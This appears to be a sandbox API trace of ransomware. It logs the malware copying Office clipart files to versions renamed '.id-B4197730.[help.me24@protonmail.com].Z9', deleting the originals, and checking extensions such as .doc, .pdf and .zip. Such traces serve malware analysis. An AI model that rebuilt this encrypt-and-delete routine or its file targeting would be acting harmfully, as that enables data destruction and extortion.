	[0093.805] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1160) returned 1
	[0093.805] CloseHandle (hObject=0x390) returned 1
	[0093.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220
	[0093.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0093.805] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.805] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0093.809] GetLastError () returned 0x0
	[0093.809] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x488, lpOverlapped=0x0) returned 1
	[0093.916] WriteFile (in: hFile=0x350, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x490, lpOverlapped=0x0) returned 1
	[0093.917] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.917] WriteFile (in: hFile=0x350, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.917] SetEndOfFile (hFile=0x350) returned 1
	[0093.917] CloseHandle (hObject=0x350) returned 1
	[0093.917] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.917] SetEndOfFile (hFile=0x390) returned 1
	[0093.918] CloseHandle (hObject=0x390) returned 1
	[0093.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1
	[0094.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.013] lstrlenW (lpString=".doc") returned 4
	[0094.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.013] lstrlenW (lpString=".docx") returned 5
	[0094.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.013] lstrlenW (lpString=".pdf") returned 4
	[0094.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.013] lstrlenW (lpString=".xls") returned 4
	[0094.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.013] lstrlenW (lpString=".xlsx") returned 5
	[0094.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.013] lstrlenW (lpString=".ppt") returned 4
	[0094.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.013] lstrlenW (lpString=".zip") returned 4
	[0094.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.013] lstrlenW (lpString=".rar") returned 4
	[0094.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.013] lstrlenW (lpString=".bz2") returned 4
	[0094.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.013] lstrlenW (lpString=".7z") returned 3
	[0094.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.013] lstrlenW (lpString=".dbf") returned 4
	[0094.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString=".1cd") returned 4
	[0094.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString=".jpg") returned 4
	[0094.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString=".doc") returned 4
	[0094.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString=".docx") returned 5
	[0094.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.014] lstrlenW (lpString=".pdf") returned 4
	[0094.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString=".xls") returned 4
	[0094.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.014] lstrlenW (lpString=".xlsx") returned 5
	[0094.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.014] lstrlenW (lpString=".ppt") returned 4
	[0094.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString=".zip") returned 4
	[0094.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.014] lstrlenW (lpString=".rar") returned 4
	[0094.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString=".bz2") returned 4
	[0094.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString=".7z") returned 3
	[0094.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString=".dbf") returned 4
	[0094.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString=".1cd") returned 4
	[0094.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0094.014] lstrlenW (lpString=".jpg") returned 4
	[0094.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.015] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.015] lstrlenW (lpString="HH00084_.WMF") returned 12
	[0094.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.153] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2472) returned 1
	[0094.153] CloseHandle (hObject=0x300) returned 1
	[0094.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220
	[0094.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.153] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.153] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.154] GetLastError () returned 0x0
	[0094.154] ReadFile (in: hFile=0x300, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x9a8, lpOverlapped=0x0) returned 1
	[0094.155] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0094.156] ReadFile (in: hFile=0x300, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.156] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.156] SetEndOfFile (hFile=0x324) returned 1
	[0094.157] CloseHandle (hObject=0x324) returned 1
	[0094.157] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.157] SetEndOfFile (hFile=0x300) returned 1
	[0094.158] CloseHandle (hObject=0x300) returned 1
	[0094.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1
	[0094.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.158] lstrlenW (lpString=".doc") returned 4
	[0094.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.158] lstrlenW (lpString=".docx") returned 5
	[0094.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.158] lstrlenW (lpString=".pdf") returned 4
	[0094.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.158] lstrlenW (lpString=".xls") returned 4
	[0094.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.158] lstrlenW (lpString=".xlsx") returned 5
	[0094.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.158] lstrlenW (lpString=".ppt") returned 4
	[0094.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.158] lstrlenW (lpString=".zip") returned 4
	[0094.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.158] lstrlenW (lpString=".rar") returned 4
	[0094.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString=".bz2") returned 4
	[0094.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString=".7z") returned 3
	[0094.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.159] lstrlenW (lpString=".dbf") returned 4
	[0094.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.159] lstrlenW (lpString=".1cd") returned 4
	[0094.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.159] lstrlenW (lpString=".jpg") returned 4
	[0094.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.159] lstrlenW (lpString=".doc") returned 4
	[0094.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString=".docx") returned 5
	[0094.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.159] lstrlenW (lpString=".pdf") returned 4
	[0094.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString=".xls") returned 4
	[0094.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.159] lstrlenW (lpString=".xlsx") returned 5
	[0094.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.159] lstrlenW (lpString=".ppt") returned 4
	[0094.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.159] lstrlenW (lpString=".zip") returned 4
	[0094.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.159] lstrlenW (lpString=".rar") returned 4
	[0094.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.159] lstrlenW (lpString=".bz2") returned 4
	[0094.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.160] lstrlenW (lpString=".7z") returned 3
	[0094.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.160] lstrlenW (lpString=".dbf") returned 4
	[0094.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.160] lstrlenW (lpString=".1cd") returned 4
	[0094.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0094.160] lstrlenW (lpString=".jpg") returned 4
	[0094.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.160] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.160] lstrlenW (lpString="HH00241_.WMF") returned 12
	[0094.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.160] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1960) returned 1
	[0094.160] CloseHandle (hObject=0x300) returned 1
	[0094.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220
	[0094.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.161] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.161] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.161] GetLastError () returned 0x0
	[0094.161] ReadFile (in: hFile=0x300, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x7a8, lpOverlapped=0x0) returned 1
	[0094.167] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7b0, lpOverlapped=0x0) returned 1
	[0094.168] ReadFile (in: hFile=0x300, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.168] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.168] SetEndOfFile (hFile=0x324) returned 1
	[0094.168] CloseHandle (hObject=0x324) returned 1
	[0094.168] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.168] SetEndOfFile (hFile=0x300) returned 1
	[0094.169] CloseHandle (hObject=0x300) returned 1
	[0094.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.170] lstrlenW (lpString=".doc") returned 4
	[0094.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.170] lstrlenW (lpString=".docx") returned 5
	[0094.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.170] lstrlenW (lpString=".pdf") returned 4
	[0094.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.170] lstrlenW (lpString=".xls") returned 4
	[0094.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.170] lstrlenW (lpString=".xlsx") returned 5
	[0094.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.170] lstrlenW (lpString=".ppt") returned 4
	[0094.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.170] lstrlenW (lpString=".zip") returned 4
	[0094.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.170] lstrlenW (lpString=".rar") returned 4
	[0094.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.170] lstrlenW (lpString=".bz2") returned 4
	[0094.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.170] lstrlenW (lpString=".7z") returned 3
	[0094.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.171] lstrlenW (lpString=".dbf") returned 4
	[0094.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.171] lstrlenW (lpString=".1cd") returned 4
	[0094.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.171] lstrlenW (lpString=".jpg") returned 4
	[0094.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.171] lstrlenW (lpString=".doc") returned 4
	[0094.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.171] lstrlenW (lpString=".docx") returned 5
	[0094.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.186] lstrlenW (lpString=".pdf") returned 4
	[0094.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.186] lstrlenW (lpString=".xls") returned 4
	[0094.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.186] lstrlenW (lpString=".xlsx") returned 5
	[0094.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.186] lstrlenW (lpString=".ppt") returned 4
	[0094.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.187] lstrlenW (lpString=".zip") returned 4
	[0094.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.187] lstrlenW (lpString=".rar") returned 4
	[0094.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.187] lstrlenW (lpString=".bz2") returned 4
	[0094.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.187] lstrlenW (lpString=".7z") returned 3
	[0094.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.187] lstrlenW (lpString=".dbf") returned 4
	[0094.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.187] lstrlenW (lpString=".1cd") returned 4
	[0094.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0094.187] lstrlenW (lpString=".jpg") returned 4
	[0094.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.187] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.187] lstrlenW (lpString="HH00260_.WMF") returned 12
